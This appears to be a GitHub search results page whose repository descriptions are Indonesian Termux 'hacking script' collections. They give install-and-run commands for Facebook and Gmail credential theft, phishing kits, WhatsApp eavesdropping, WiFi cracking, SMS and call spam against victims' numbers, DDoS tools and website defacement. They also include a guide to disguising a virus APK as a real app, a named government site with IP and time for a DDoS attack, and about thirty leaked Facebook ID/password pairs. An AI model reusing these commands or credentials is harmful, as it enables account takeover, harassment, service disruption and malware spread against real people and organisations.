Found 2,258 repositories(showing 30)
landy22granatt
Ok, Langsung Saja Ke Materi. Sesuai Judul, Disini Saya Akan Memberikan Kumpulan Script Termux Yang Masih Work. Karena, Jarang Sekali Saat Ini Mendapatkan Script Yang Benar-Benar Work. ✓BOT KOMEN DAN LIKE INSTAGRAM $ pkg update $ pkg upgrade $ pkg install python2 $ pkg install ruby $ gem install lolcat $ pkg install git $git clonehttps://github.com/Hanzelnutt/instabot $ cd instabot $ ls $ pip2 install -r requirements.txt $ bash instabot ✓PHISING AKUN GMAIL $apt-get update && apt-get upgrade $ apt-get install git $ apt-get install python python-pip python-setuptools $ pip install scapy $ git clone https://github.com/wifiphisher/wifiphisher.git $ cd wifiphisher< $ python setup.py install $ cd wifiphisher $ python wifiphisher 2. EXPLOIT ✓SADAP WHATSAPP $ pkg install git python2 $ git clone https://github.com/Bl4ckDr460n/HxWhatsApp $ cd HxWhatsapp $chmod +x HxWhatsApp $ python2 HxWhatsApp.py ✓CONNECT WIFI TANPA PASWORD $apt update && apt upgrade $pkg install git $git clone https://github.com/esc0rtd3w/wifi-hacker $cd wifi-hacker/ $chmod +x wifi-hacker.sh $./wifi-hacker.sh ✓MELACAK LOKASI Script ini menggunakan alamat IP untuk melacak koordinat target. $apt update $apt upgrade $pkg install python git $git clonehttps://github.com/maldevel/IPGeoLocation $cd IPGeoLocation $chmod +x ipgeolocation.py $pip install -r repuirements.txt $python ipgeolocation.py -m $python ipgeolocation.py -h $python ipgeolocation.py -t 10.99.110.220 Ubah alamat IP yang berwarna kuning dengan alamat IP dari orang yang ingin dilacak. Kemudian copas semua koordinat mulai dari https:// ke browser kalian. *✓DEFACE' Deface merupakan kata dari bahasa ingris yang artinya merusak, mengotori, mencoreng, dan menghapus. Namun dalam dunia hacker deface adalah kegiatan hacking dengan merubah tampilan suatu website. Baik halaman utama maupun halaman yang terkait dalam suatu url. $apt update && apt upgrade $apt install python2 openssl curl libcurl $pip2 install urllib3 chardet certifi idna requests $mkdir webdav $cd webdav $wget https://pastebin.com/raw/HnVyQPtR $mv HnVyQPtR webdav.py $chmod +x webdav.py ✓SPAM SMS $pkg install php curl $pkg install curl $curl https://pastebin.com/raw/9BYy1JVc -o jdid.php $php jdid.php ✓SPAM CALL (TOKOPEDIA) $apt update && apt upgrade $pkg install php $pkg install git $git clone https://github.com/storiku/Call $cd Call $php spamcall.php Lalu masukan no hp korban ✓SC TROJAN (TARGET) $pkg update & pkg upgrade $pkg install git $git clone https://github.com/4L13199/meTAInstall $cd meTAInstall $chmod +x meTAInstall $sh meTAInstall.sh 3.TOOL INSTALLER Tools installer adalah tools yang digunakan untuk menginstal banyak script. Biasanya tools installer dapat menginstal 200-300 script. ✓TOOLS SCORPION $git clone https://github.com/ScorpRx/ScorpRx-Tools $cd ScorpRx-Tools $chmod +x ScorpRx-Tools.sh $sh ScorpRx-Tools.sh ✓TOOLS NETHUNTER $apt update $apt install git $git clone https://github.com/Hax4us/Nethunter-In-Termux.git $cd Nethunter $chmod +x kalinethunter $./kalinethunter $./startkali.sh ✓TOOLS LAZYMUX $pkg update && upgrade $pkg install python2 git $git clone https://github.com/Gameye98/Lazymux $cd Lazymux $chmod +x lazymux.py $python2 lazymux.py ✓TOOLS DAIJOBU $apt upgrade && apt update $apt install php git $git clone https://github.com/alintamvanz/diejoubu $cd diejoubu $cd v1.2 $php diejoubu.php ✓TOOLS B4J1N94N $git clonehttps://github.com/DarknessCyberTeam/B4J1N64Nv5 $cd B4J1N64Nv5 $sh B4J1N64N.sh *4. DDOS DDOS attack adalah singkatan dari distributed denial of services yang berfungsi untuk membuat suatu server komputer menjadi tidak bisa dipakai oleh user-nya, dengan menggunakan ribuan system yang menyerang secara bersamaan. ✓HAMMER $pkg update && pkg upgrade $pkg install python git $git clone https://github.com/cyweb/hammer $cd hammer $python hammer.py $python hammer.py -s [IP target] -p [PORT] -t 135 ✓LUCINTA DDOS $ apt update && napt upgrade $ apt install python $ apt install git $ git clone https://github.com/zlucifer/lucita_ddos $ cd lucita_ddos $ chmod +x pukul.py $ python pukul.py ✓DDOS TROJAN $ pkg update && pkg upgrade $ pkg install python $ pkg install bash $ pkg install toilet $ pkg install lolcat $ pkg install git $ git clone https://github.com/MrTamfanX/MrDdos $ cd MrDdos $ sh Tamfan-Ddos.sh ✓Win 32DDOS ATTACK $ apt upgrade&&apt update $ apt install git toilet $ apt install python $ apt install python2 $ git clone https://github.com/banghyuu/ddosWD $ cd ddosWD $ sh Ddos.sh √XERXES $ apt install git $ apt install clang $ git clone https://github.com/zanyarjamal/xerxes $ ls $ cd xerxes $ ls $ clang xerxes.c -o xerxes $ ls $ ./xerxes (nama website) 80 √TORSHAMMER $ pkg update $ pkg install git $ apt install tor $ pkg install python2 $ git clone https://github.com/dotfighter/torshammer.git $ ls $ cd torshammer $ chmod +x torshammer.oy $ python2 torshammer.py ✓VANESSA ANGGEL DDOS $ pkg update && pkg upgrade $ pkg install git $ pkg install python2 $ git clone https://github.com/MiSetya/VA-DDOS $ cd VA-DDOS $ ls $ chmod +x 80juta.py $ ls $ python2 80juta.py ✓DDOS BY.BLACKCYC $pkg install git $git clone https://github.com/BlackCyberAnonim/B-ATTACKING $cd B-ATTACKING $ls $sh install.Sh Virtex for Whatsapp apt update && apt upgrade apt install git apt install curl apt install figlet apt install ruby gem install lolcat git clone https://github.com/muhammadfathul/VIRTEX cd VIRTEX chmod +x virtex.sh sh virtex.sh ⚔TOOLS HACK VIA TERMUX⚔ 🔰TOOLS HACK FB TEMAN🔰 Versi Terbaru Cracknya Lbh Cepat $ apt update && apt upgrade $ pip2 install --upgrade pip $ pip2 install requests $ pip2 install mechanize $ pkg install git $ git clone https://github.com/blackcodercrush/hack-facebook-teman $ cd hack-facebook-teman $ sh requests.sh $ python2 hack-fb.py _______________ 🔰Hack Facebook target 🔰 $ apt update && apt upgrade $ apt install git $ apt install python2 $ pip2 install mechanize $ git clone https://github.com/FR13ND8/BRUTEFORCEnew $ cd BRUTEFORCEnew $ sh new.sh _______________ 🔰Hack ig🔰 $ pkg install nano $ pkg install figlet $ pkg install python2 $ pip2 install lolcat $ pkg install cowsay $ pkg install git $ git clone https://github.com/darkcurut08/darkcurut08 $ cd darkcurut08 $ sh Moreno77.sh _______________ 🔰Hack Facebook Terbaru🔰 $ apt update && apt upgrade $ pkg ins toilet $ pkg ins figlet $ pkg ins ruby $ pkg ins gem $ gem ins lolcat $ pkg ins php $ pkg ins python2 $ pkg ins git $ git clone https://github.com/Rusmana-ID/rus, $ cd rus $ sh v2.sh rename: Anak pw: Bangsa _______________ 🔰TOOLS SADAP🔰 $ apt update && apt upgrade $ apt install php git $ apt install bash $ git clone https://github.com/MrTamfanX/TamfanFacebook $ cd TamfanFacebook $ chmod +x * $ chmod -R 775 lib $ sh install.sh $ sh tamfan.sh _______________ 🔰DDos Attack WI-FI🔰 $ apt update && apt upgrade $ apt install python2 $ apt install git $ $ cd LITEDDOS Cek:https://ipsaya.com/hostinglokasi.php $ python2 LITEDDOS.py [IP target] 80 100 _______________ 🔰DDos Attack HP Orang 🔰 $ apt update && apt upgrade $ pkg install python2 $ pip2 install mechanize $ pip2 install request $ pkg install git $ git clone https://github.com/R133F/Trojans $ cd Trojans $ python2 trojans.py DDOS WiFi nya masih work Hack Fb Target New ------------------------------------------ pkg install git pkg install python2 pip2 install --upgrade pip pip2 install mechanize git clone https://github.com/MRA27/FBNEWV2 cd FBNEWV2 python2 MRA27.py 100003191711187 apt update && apt upgrade apt install php apt install python2 apt install toilet apt install git git clone https://github.com/4L13199/LITESPAM cd LITESPAM sh LITESPAM.sh Oke langsung saja ke penginstalannya.. $ apt update && apt upgrade $ apt install git $ apt install php $ apt install figlet $ apt install toilet $ apt install python2 $ pip2 install requests $ pip2 install termcolor $ git clone https://github.com/DarknessCyberTeam/BAJINGANv6.git $ cd BAJINGANv6 $ sh BAJINGAN.sh Masukkan Username Ini username : BAJINGAN Masukkan Password Ini password : Gans Kumpulan Tools By InYourG00D Izin promosi biar laku ea Nuub Numpang Lewat Silahkan Cek https://github.com/InYourG00D1 Disitu Ada Tools Bermanfaat :V Work gk? lu cobain aja ÷Kumpulan Kode Unik fb÷ $ pkg install update && pkg install upgrade $ apt install toilet $ apt install figlet $ gem install lolcat $ pkg install git $ git clone https://github.com/InYourG00D1/Unix $ cd Unix $ sh KD-FB.sh ÷Tools Check BIN÷ $ pkg install update & pkg install upgrade $ pkg install git $ git clone https://github.com/InYourG00D1/check $ cd check $ php bin.php ÷Tools Spam bom÷ Vitur 1.Spam bom Bukalapak 2.Spam bom JD-ID 3.Spam Bom PHD 4.Spam Bom Tokoped 5.Spam Bom Hooq 6.Spam Bom KFC 7.Spam bom matahari _Totur nya _ $ pkg install update && pkg install upgrade $ pkg install toilet $ pkg install figlet $ pkg install lolcat $ pkg install php $ pkg install python2 $ gem install lolcat $ pkg install git $ git clone https://github.com/InYourG00D1/Spam $ cd Spam $ sh ms.sh ÷Kuota free Khusus Tree÷ $ pkg install update && pkg install upgrade $ apt install toilet $ apt install figlet $ gem install lolcat $ pkg install git $ git clone https://github.com/InYourG00D1/KuotaFree $ cd KuotaFree $ sh 2.sh ÷Pulsa Free work100%÷ $ pkg update&&pkg upgrade $ pkg install toilet $ gem install lolcat $ git clone https://github.com/InYourG00D1/PulsaFree $ ls $ cd PulsaFree $ sh Free.sh ÷Tools Sc Phising All Game÷ Tapi gk semua game juga si :V $ apt update && apt upgrade $ apt install figlet $ apt install toilet $ gem install lolcat $ pkg install git $ git clone https://github.com/InYourG00D1/ScPh1s1ng $ cd ScPh1s1ng $ sh 6.sh ÷Kumpulan shell & sc pepes÷ Kalo Ingin Direcode scnya silahkan Hak cipta Jangan Dirubah Hargai mereka coding gan Ngecoding Gk Segampang Dapettin Cinta Kamu $ pkg install update && pkg install upgrade $ apt install figlet $ apt install toilet $ gem install lolcat $ pkg install git $ git clone https://github.com/InYourG00D1/Pepescers $ cd Pepescers $ sh MTD.sh ÷Tools ngubah Vidmax jadi Flash÷ Work 100% dicoba aja gan $ pkg install update $ pkg install upgrade $ apt install php $ pkg install git $ git clone https://github.com/InYourG00D1/Flash $ cd Flash $ php flash.php ÷Tools Nuyul GoPay÷ $ pkg install update $ pkg install upgrade $ apt install php $ pkg install git $ git clone https://github.com/InYourG00D1/Nuyul-GoPay $ cd Nuyul-GoPay $ php Go-Pay.php ÷Tools Install Bkp÷ Yg punya Kontol BuKan Lu doang Bwahaha Proses Install nya lumayan lama :V Kalo Mau Cepet Cari Ea Sono $ apt update && apt upgrade $ apt install figlet $ apt install toilet $ gem install lolcat $ pkg install git $ git clone https://github.com/TumbalGanss/ToolsBkp $ cd ToolsBkp $ sh Tobat.sh ÷Tools Installer÷ 200 tools $ apt update && apt upgrade $ apt install figlet $ apt install toilet $ gem install lolcat $ pkg install git $ git clone https://github.com/InYourG00D1/InstallPlerN2 $ cd InstallPlerN2 $ sh InstallPlerV2.sh ÷Tools Script Phising All÷ game,FB,Instagram $ apt update && apt upgrade $ apt install figlet $ apt install toilet $ gem install lolcat $ pkg install git $ git clone https://github.com/InYourG00D1/scPH1S1N9 $ cd scPH1S1N9 $ sh PhisingV2.sh #shareMhank #nomor Yg ada Di Tools Udh Gk Aktif #Ini New Nomer nya : 0895805133060 https://chat.whatsapp.com/Cj0VpOmWpQBJUEQZqqOLn3 [+] Site Title: MyGOV - The Government of Malaysia's Official Portal [+] IP address: 150.242.182.57 [+] Web Server: Apache [+] CMS: Could Not Detect [+] Cloudflare: Not Detected [+] Robots File: Could NOT Find robots.txt! TARGET IP=150.242.182.57 PORT:80 TARGET WEB=malaysia.gov.my HARI INI 16-APRIL-2019 JAM 15.00 WIB TOOL ATTACK? -=NEW TOOL=- ================= Win32 attack ================= apt install git apt install python apt install bash apt install toilet apt install lolcat git clone https://github.com/BPCATTACKER/DOS-TOOKITS cd DOS-TOOKITS sh DoS-TOOKIT.sh APA YG BARU? -PERBAIKAN ERROR SAAT MENGIRIM PACKET ATTACK -DLL ================ DDOS BPC http://github.com/BLACK-PHANTOM-CYBER/DDOS-BPC/ cd DDOS-BPC python2 SPOONDDOS.sh =================== Ingat sebelum attack harus cek ip dulu karena ip bisa berubah-ubah Dgn cara Ketik di termux ping malaysia.gov.my Salam NASIONAL CYBER ASOSSIATION LEBIH BAIK MENCOBA DAN GAGAL DARI PD TIDAK MENCOBA SAMA SEKALI YG SEBAR GW DOAIN DAPAT PAHALA DAPAT PAHALA Spam Call Unlimited $ pkg update && pkg upgrade $ pkg install php $ pkg install git $ git clone https://github.com/Aditya021/SpamCall $ cd SpamSms $ php SpamCall.php Masukan No Target ===> Mode Banyak (y/n) ===> UNTUK Spam Lebih Dari 1 JumlahSpam ===> Masukan Jumlah yang ingin dispam🙏🙏🙏🎭🎭🇲🇨 Siapa tau ada yang mau nih sc Cara install tool Mr.Rv1.1 $apt update && apt upgrade $pkg install git $pkg install gem $pkg install figlet $gem install lolcat $git clone https://github.com/Mr-R225/Mr.Rv1.1 $cd Mr.Rv1.1 $sh Mr.Rv1.1.sh tool install $ apt update && apt upgrade $ apt install git $ git clone https://github.com/aryanrtm/4wsectools cd 4wsectools chmod 777 tools ./tools TOOL FSOCIETY $ git clone https://github.com/manisso/fsociety $ cd fsociety $ ./install.sh $ ls $ python2 fsociety.py Assalamualaikum wr.wb Ni gw bagi SC DARK-FB(VIP-VPRO) & Gw bagi2 akun FB untuk kalian Ni scripst HACK FB NEWW (VIP.VPRO) NO LISENSI ∞∞∞≠BY MR.M4RCH3LL≠∞∞∞ $ pkg update && pkg upgrade $ pkg install git $ pkg install python2 $ pkg install mechanize $ pkg install request $ git clone https://github.com/m4rche3ll-cyber/dark-vpro $ cd dark-vpro $ python2 dark-vpro.py NI akun FB untuk kalian smua [OK✓] 100037694627558 | Syla12345 [✓] 100037988325303 | Feri123 [✓] 100037977879771 | Rifaa123 [OK✓] 100037091885666 | Sutris12345 [OK✓] 100037229983265 | Kahfi123 [OK✓] 100037166443432 | Munir123 [OK✓] 100037216997895 Nawawi123 [OK✓] 100037665398302 | Ponatim123 [OK✓] 100037974392506 | Andri123 [OK✓] 100037679447951 | Andika123 [✓] 100037946790741 | Sutres123 [✓] 100038002561349 | Aghni123 [✓] 100038113410131 | Blaster123 [✓] 100037710525968 | Noffal123 [✓] 100037988325303 | Feri123 [✓] 100037590739244 | Agus123 [✓] 100037576672206 | Kenyot123 [✓] 100037974392506 | Andri123 [OK✓] 100037714800465 | Dafa123 [OK✓] 100037869518631 | Ervan123 [OK✓] 100037354215333 Tans12345 [OK✓] 100037553282746 | Rifal123 [OK✓] 100037114456712 | Afif12345 [OK✓] 100037388647024 | Doni123 OK✓] 100037155800753 | Ikna123 [OK✓] 100037360233177 | Udin123 [OK✓] 100037089379481 | Dafa123 [OK✓] 100037388887005 Ridwan123 OK✓] 100037199269083 | Rifki123 [OK✓] 100037446305432 | Bima123 Gunakan dengan bijak !!! Kalau kalian ingin tanya lebih / ada masalah Kalian bisa wa saya No wa ADA DI SC NYA/ komen di bawah Jangan lupa SUBSCRIBE (FREE) ,agar channel ini berkembang ,,& juga we akan membuat sc2 yang bermanfaat bagi kalian semua Link grup wa : https://chat.whatsapp.com/KxTHh6xi9OgEEl41UDURE9 Oke , terimakasih:) Wassalamu'alaikum wr.wb Aldaynoobz Selasa, 23 April 2019 Script-Termux We are anonymous We are legion We do not forgive We do not forget Expect us  DDOS ATTACK (TROJAN) $ apt install git $ apt install python $ apt install bash $ apt install toilet $ apt install lolcat $ git clone https://github.com/BPCATTACKER/DOS-TOOKITS $ cd DOS-TOOKITS $ sh DoS-TOOKIT.sh pilih no 1 lalu enter, lalu masukkan ip target dan enter attack sedang berjalan! DDOS ATTACK $ pkg update $ pkg upgrade $ pkg install python $ pkg install git $ git clone https://github.com/cyweb/ hammer $ cd hammer $ python hammer.py $ python3 hammer.py -s(ipnya cari sendiri di IP CHACKER) -p 80 -t 135 BOBOL-WIFI( root) $ apt update && apt upgrade $ pkg install git $ git clone https://github.com/esc0rtd3w/wifi-hacker $ cd wifi-hacker/ $ chmod +x wifi-hacker.sh $ ./wifi-hacker.sh HACK CCTV $ pkg update $ pkg upgrade -y $ pkg install python2 $ pkg install git $ git clone https://github.com/GUNAWAN18ID/cctv.git $ pip2 install requests $ cd cctv $ python2 scanner.py SPAM CALL $ pkg update $ pkg upgrade $ pkg install git $ pkg install python2 $ git clone https://github.com/MRRUXHANTAC270/RUXH4N_SPAM $ cd RUXH4N_SPAM $ python2 RUXH4N_SP4M.py8 Pilih nomor target jangan lupa pake (+62) ===>> +6285xxxxx Pilih jumlah spam ====>>>misal:100 Done :v DEFACE WEBDAV $ pkg update && pkg upgrade $ pkg install bash $ pkg install git $ pip2 install termocolor $ pip2 install lolcat $ git clone https://github.com/MRRUXHANTAC270/Deface-W3BD4F $ cd Deface-W3BD4F $ sh Webdav.sh Masukan script html Lalu pilih web vulnya >:) Cek 👇🏻👇🏻👇🏻 $apt install python2 $apt install git $apt install php $apt install bash $apt install nano $apt install toilet $git clone https://github.com/MRRUXHANTAC270/cek $cd cek $ls $sh cek.sh HACK FACEBOOK TARGET $pkg update && pkg upgrade $pkg install python2 $pkg install git $git clone https://github.com/MRRUXHANTAC270/Facebook-target $cd Facebook-target $python2 fb.py SILAHKAN DOWNLOAD WORD LIST NYA TERLEBIH DAHULU https://sfile.mobi/4UugtYlifYk Masukin id target ... Lalu klik /sdcard/password.txt SCRIPT DEFACE $apt update && apt upgrade $apt install python2 $apt install git $apt install php $apt install bash $apt install nano $apt install toilet $git clone https://github.com/MRRUXHANTAC270/scriptdeface $ cd scriptdeface $ python2 now.py SPAM WHATSAPP $ apt update && apt upgrade $ apt install python2 $ apt install git $ apt install php $ apt install bash $ git clone https://github.com/MRRUXHANTAC270/sp4m $ cd sp4m $ php wa.php Memper Cantik/Melihat V.Android Termux $ pkg update && pkg upgrade $ pkg install ruby cowsay toilet figlet $ pkg install neofetch $ pkg install nano $ gem install lolcat $ cd ../usr/etc $ nano bash.bashrc cowsay -f eyes Cyber | lolcat toilet -f standard Indonesia -F gay neofetch date | lolcat ✓ Hack FB rombongan $ apt update && apt upgrade $ pkg install python2 git $ pip2 install mechanize $ git clone http://github.com/pirmansx/mbf $ ls $ cd mbf $ python2 MBF.py ✓ Hack FB ngincer $ apt update ( Enter ) $ apt upgrade ( Enter ) $ apt install python2 ( Enter ) $ pip2 install urllib3 chardet certifi idna requests ( Enter ) $ apt install openssl curl ( Enter ) $ pkg install libcurl ( Enter ) $ ln /sdcard ( Enter ) $ cd /sdcard ( Enter ) $ python2 fbbrute.py ( Enter ) ✓ Hack Gmail $ apt-get update && apt-get upgrade $ apt-get install git $ apt-get install python python-pip python-setuptools $ pip install scapy $ git clone https://github.com/wifiphisher/wifiphisher.git $ cd wifiphisher< $ python setup.py install $ cd wifiphisher $ python wifiphisher Nih yang mau hack WiFi Khusus root $apt update $apt upgrade $apt install git $git clone https://github.com/esc0rtd3w/wifi-hacker $ls $cd wifi-hacker $ls $chmod +x wifi-hacker.sh $ls $./wifi-hacker.sh cara uninstall tool termux rm -rf toolsnya Bermain moon-buggy $ pkg install moon-buggy $ moon-buggy CHATTING VIA TERMUX irssi /connet irc.freenode.net /nick w3wandroid /join #modol $ pkg install irssi $ irssi $ /connect chat.freenode.net $ /nick 1235 12345 di ganti sesuai nama/nick agan $ /join #XCAteam PERKIRAAN cuaca curl http://wttr.in/ (lokasi) Browsing di termux $ pkg install w3m $ w3m www.google.com Linknya bsa diubah Telephone di termux $ pkg install termux-api $ termux-telephony-call nomornya Menampilkan animasi kereta :v $ pkg install sl $ sl menampilkan ikon dan informasi sistem android $ pkg install neofetch $ neofetch menampilkan teks dalam format ASCII $ pkg install figlet $ figlet masukin teksnya MEMUTAR MUSIC DI YOUTUBE VIA TERMUX $ pip install mps_youtube $ pip install youtube_dl $ apt install mpv $ mpsyt $ /judul lagu Tinggal pilih lagu dengan mengetik nomornya musikan di termux $ pkg install mpv $ mpv/sdcard/lagu.mp3 /sdcard/ bisa di ganti sesuai letak music CRACK PASSWORD HASH $ git clone https://github.com/FajriHidayat088/FHX-Hash-Killer/ $ cd FHX-Hash-Killer $ python2 FHXHashKiller.py $ git clone https://github.com/UltimateHackers/Hash-Buster $ cd Hash-Buster $ python2 hash.py ASCII ART MAPS - pkg install update && upgrade - pkg install perl - git clone https://github.com/x-xsystm/maps.git - cd kaos - perl maps.pl - untuk Zoom tekan A - Password: (pejuang212) CARA MENGHIAS TAMPILAN TERMUX $ pkg update && pkg upgrade $ pkg install ruby cowsay toilet figlet $ pkg install neofetch $ pkg install nano $ pkg install ncurses-utils $ pkg install ruby $ pkg install lolcat $ pkg install cowsay $ gem install lolcat $ nano .bashrc clear blue='\e[1;34m' green='\e[1;32m' purple='\e[1;35m' cyan='\e[1;36m' red='\e[1;31m' white='\e[1;37m' yellow='\e[1;33m' NOW=`date "+%d.%m.%Y"` TIME=`date "+%H:%M"` cowsay -f eyes *Welcome To MRCX hacking tool* | lolcat toilet -f standard " *MRCX* " -F gay neofetch echo " Time : " $TIME | lolcat date | lolcat echo echo Username : marcyber team | lolcat echo Hostname : @MRCX~#root_system | lolcat echo echo @localhost:~# | lolcat echo root@localhost:~$ | lolcat echo -e $green echo root@MRCX:~$ TUTORIAL MEMBUAT VIRUS SEPERTI APLIKASI ASLINYA Tools yang dibutuhkan: APK Editor & tool vbug APK Editor bisa didownload di playstore Tool vbug https://www.mediafire.com/file/6hs6y71ryw10uvw/vbug.zip 1. Download tool vbugnya dulu 2. Taruh file tool vbug di luar folder pada memori internal 3. Buka termux lalu $ cd /sdcard 4. $ unzip vbug.zip 5. $ cd vbug 6. $ python2 vbug.py 7. Enter 8. Ketik 10 9. Ketik E 10. Aplikasi virusnya sudah jadi Setelah aplikasinya jad kita tinggal edit supaya mirip aslinya 1. Buka APK Editor 2. Klik Select an Apk File 3. Pilih aplikasi virus tadi 4. Klik full edit 5. Pada bagian kolom app_name tulis nama aplikasi yang kalian inginkan 6. Lalu klik files 7. Klik res/drawable 8. Logo yang kedua itu ganti dengan logo aplikasi yang kalian inginkan Catatan: format logo harus .png 9. Ceklist logo yang kedua lalu replace 10. Pilih file logo yang mau dijadikan logo aplikasi agan 11. Back sampai home Supaya aplikasi terlihat lebih nyata kita harus beri bobot pada aplikasi buatan kita 12. Klik tanda plus yang ada di bawah kiri, pilih file, lagu, gambar atau apapun yang coxok sebagai bobot apliaksi agan 13. Klik build 14. Tunggu hingga selesai 15. Jadi deh VBugMaker Termux -apt update && apt upgrade -apt install git -apt install python Donwload file ->http://upfile.mobi/YGwg8gQLuvv Pindah ke directory Next -unzip vbug.zip -mv vbug $HOME -cd vbug -ls -chmod +x vbug.py -python2 vbug.py #Done BOOM SPAM DI TERMUX apt upgrade && apt update apt install git git clone https://github.com/Amriez/gcospam cd gcospam sh install.sh sh gco.sh Pilih nomer yang mana ajjh Lalu Masukan nomer tanpa 0/62 Input bebas Jeda default aja Spam bom mall $ pkg install update $ pkg install upgrade $ pkg install wget $ pkg install php $ wget http://files-store.theprivat.ml/uploads/bom-mall.zip $ unzip bom-mall.zip $ cd bom-mall $ php run.php (Install SpamTsel) $ pkg install curl $ pkg install php $ curl -s http://files-store.theprivat.ml/uploads/bombtsel.txt > bombtsel.php $ chmod 777 bombtsel.php $ php bombtsel.php 3) Tool Spam LITESPAM $ pkg install php $ pkg install toilet $ pkg install sh LITESPAM $ pkg install git $ git clone https://github.com/4L13199/LITESPAM $ cd LITESPAM $ sh LITESPAM.sh atau bash LITESPAM.sh Masukan Nomer nya... Spammer GRAB $pkg install python2 $pip2 install requests $pkg install git $git clone http://github.com/p4kl0nc4t/Spammer-Grab $cd Spammer-Grab $python2 spammer.py nomor hp korban --delay 30 spam sms jdid 1.PKG install PHP 2.pkg install cURL 3.curl https://pastebin.com/raw/9BYy1 JVc -o jdid.php 4.php jdid.php Hacking spammer by seni $apt update && apt upgrade $apt install python2 php $pip2 install requests $apt install nano $apt install git $git clone https://github.com/Senitopeng/ SpamSms.git $cd SpamSms $python2 mantan.py HACKING DAN TRICK FB VIA TERMUX AUTO BOOT FACEBOOK $ git clone https://github.com/Senitopeng/BotFbBangDjon.git $ cd BotFbBangDjon $ python2 bangdjon.py Cara crack id fb https://findmyfbid.in/ git clone https://github.com/tomiashari/fb-autoreaction.git cd fb-autoreaction python2 fb-autoreaction HACKING THOOLS MBF FACEBOOK $ pkg update && upgrade $ pkg update && upgrade $ pkg install python2 $ pkg install git $ git clone https://github.com/pirmansx/mbf $ cd mbf $ python2 MBF.py (HACKING FB LEWAT TERMUX) $ apt update $ apt upgrade $ apt install python2 $ apt install python2-dev $ apt install wget $ dip2 install mechanize $ cd/sterage/emulated/0 $ python2 fbbrute.py ( yg tdi di download di tunda di luar folder ) Mungkin itu saja yang dapat saya bagikan, jika ada yang salah saya mohon maaf. Ingin Ikut Team Kami ? Klik Disini Website Team ? Klik Disini Website Umum ? Klik Disini Di Atas Langit Masih Ada Langit Jadi, Jangan Sok Berkuasa Belum Tentu Anda Lebih Baik Dari Kami #WeDoNotForget #WeDoNotForgive #ExpectUs Landy22 Salam Hangat,
Taoviqinvicible
1.[Script Termux] -Cmatrix *apt-get update *apt-get upgrade *apt-get install nmap *apt-get install python *apt-get install list *apt-get install cmatrix *cmatrix [1/11 18.28] +62 821-2770-8489: ✓Mempercantik Termux $ pkg update && pkg upgrade $ pkg install ruby cowsay toilet figlet $ pkg install neofetch $ pkg install nano $ gem install lolcat $ cd ../usr/etc $ nano bash.bashrc cowsay -f eyes Cyber | lolcat toilet -f standard Indonesia -F gay neofetch date | lolcat Hack FB rombongan $ apt update && apt upgrade $ pkg install python2 git $ pip2 install mechanize $ git clone http://github.com/pirmansx/mbf $ ls $ cd mbf $ python2 MBF.py Hack FB ngincer $ apt update ( Enter ) $ apt upgrade ( Enter ) $ apt install python2 ( Enter ) $ pip2 install urllib3 chardet certifi idna requests ( Enter ) $ apt install openssl curl ( Enter ) $ pkg install libcurl ( Enter ) $ ln /sdcard ( Enter ) $ cd /sdcard ( Enter ) $ python2 fbbrute.py ( Enter ) Hack Gmail apt-get update && apt-get upgrade $ apt-get install git $ apt-get install python python-pip python-setuptools $ pip install scapy $ git clone https://github.com/wifiphisher/wifiphisher.git $ cd wifiphisher< $ python setup.py install $ cd wifiphisher $ python wifiphisher Nih yang mau hack WiFi Khusus root $apt update $apt upgrade $apt install git $git clone https://github.com/esc0rtd3w/wifi-hacker $ls $cd wifi-hacker $ls $chmod +x wifi-hacker.sh $ls $./wifi-hacker.sh ✓ *ni tutor dari gua* TOOL TERMUX LENGKAP ⭕⭕⭕⭕⭕⭕⭕⭕⭕⭕⭕⭕⭕⭕ Command Termux Hacking...... by:🎭ঔৣஓMuslimCyberSquadঔৣஓீ🎭 ⭕⭕⭕⭕⭕⭕⭕⭕⭕⭕⭕⭕⭕⭕ cara uninstall tool termux rm -rf toolsnya Bermain moon-buggy $ pkg install moon-buggy $ moon-buggy CHATTING VIA TERMUX irssi /connet irc.freenode.net /nick w3wandroid /join #modol $ pkg install irssi $ irssi $ /connect chat.freenode.net $ /nick 1235 12345 di ganti sesuai nama/nick agan $ /join #XCAteam PERKIRAAN cuaca curl http://wttr.in/ (lokasi) Browsing di termux $ pkg install w3m $ w3m www.google.com Linknya bsa diubah Telephone di termux $ pkg install termux-api $ termux-telephony-call nomornya Menampilkan animasi kereta :v $ pkg install sl $ sl menampilkan ikon dan informasi sistem android $ pkg install neofetch $ neofetch menampilkan teks dalam format ASCII $ pkg install figlet $ figlet masukin teksnya MEMUTAR MUSIC DI YOUTUBE VIA TERMUX $ pip install mps_youtube $ pip install youtube_dl $ apt install mpv $ mpsyt $ /judul lagu Tinggal pilih lagu dengan mengetik nomornya musikan di termux $ pkg install mpv $ mpv/sdcard/lagu.mp3 /sdcard/ bisa di ganti sesuai letak music CRACK PASSWORD HASH $ git clone https://github.com/FajriHidayat088/FHX-Hash-Killer/ $ cd FHX-Hash-Killer $ python2 FHXHashKiller.py $ git clone https://github.com/UltimateHackers/Hash-Buster $ cd Hash-Buster $ python2 hash.py ASCII ART MAPS - pkg install update && upgrade - pkg install perl - git clone https://github.com/x-xsystm/maps.git - cd maps - perl maps.pl - untuk Zoom tekan A - Password: (pejuang212) CARA MENGHIAS TAMPILAN TERMUX TOXIC TEAM $ pkg update && pkg upgrade $ pkg install ruby cowsay toilet figlet $ pkg install neofetch $ pkg install nano $ pkg install ncurses-utils $ pkg install ruby $ pkg install lolcat $ pkg install cowsay $ gem install lolcat $ nano .bashrc clear blue='\e[1;34m' green='\e[1;32m' purple='\e[1;35m' cyan='\e[1;36m' red='\e[1;31m' white='\e[1;37m' yellow='\e[1;33m' NOW=`date "+%d.%m.%Y"` TIME=`date "+%H:%M"` cowsay -f eyes **Welcome To TOXIC hacking tool** | lolcat toilet -f standard " **TOXIC** " -F gay neofetch echo " Time : " $TIME | lolcat date | lolcat echo echo Username : Cyber | lolcat echo Hostname : TOXIC | lolcat echo echo @localhost:~# | lolcat echo root@localhost:~$ | lolcat echo -e $green echo root@CYBER:~$ TUTORIAL MEMBUAT VIRUS SEPERTI APLIKASI ASLINYA Tools yang dibutuhkan: APK Editor & tool vbug APK Editor bisa didownload di playstore Tool vbug https://www.mediafire.com/file/6hs6y71ryw10uvw/vbug.zip 1. Download tool vbugnya dulu 2. Taruh file tool vbug di luar folder pada memori internal 3. Buka termux lalu $ cd /sdcard 4. $ unzip vbug.zip 5. $ cd vbug 6. $ python2 vbug.py 7. Enter 8. Ketik 10 9. Ketik E 10. Aplikasi virusnya sudah jadi Setelah aplikasinya jad kita tinggal edit supaya mirip aslinya 1. Buka APK Editor 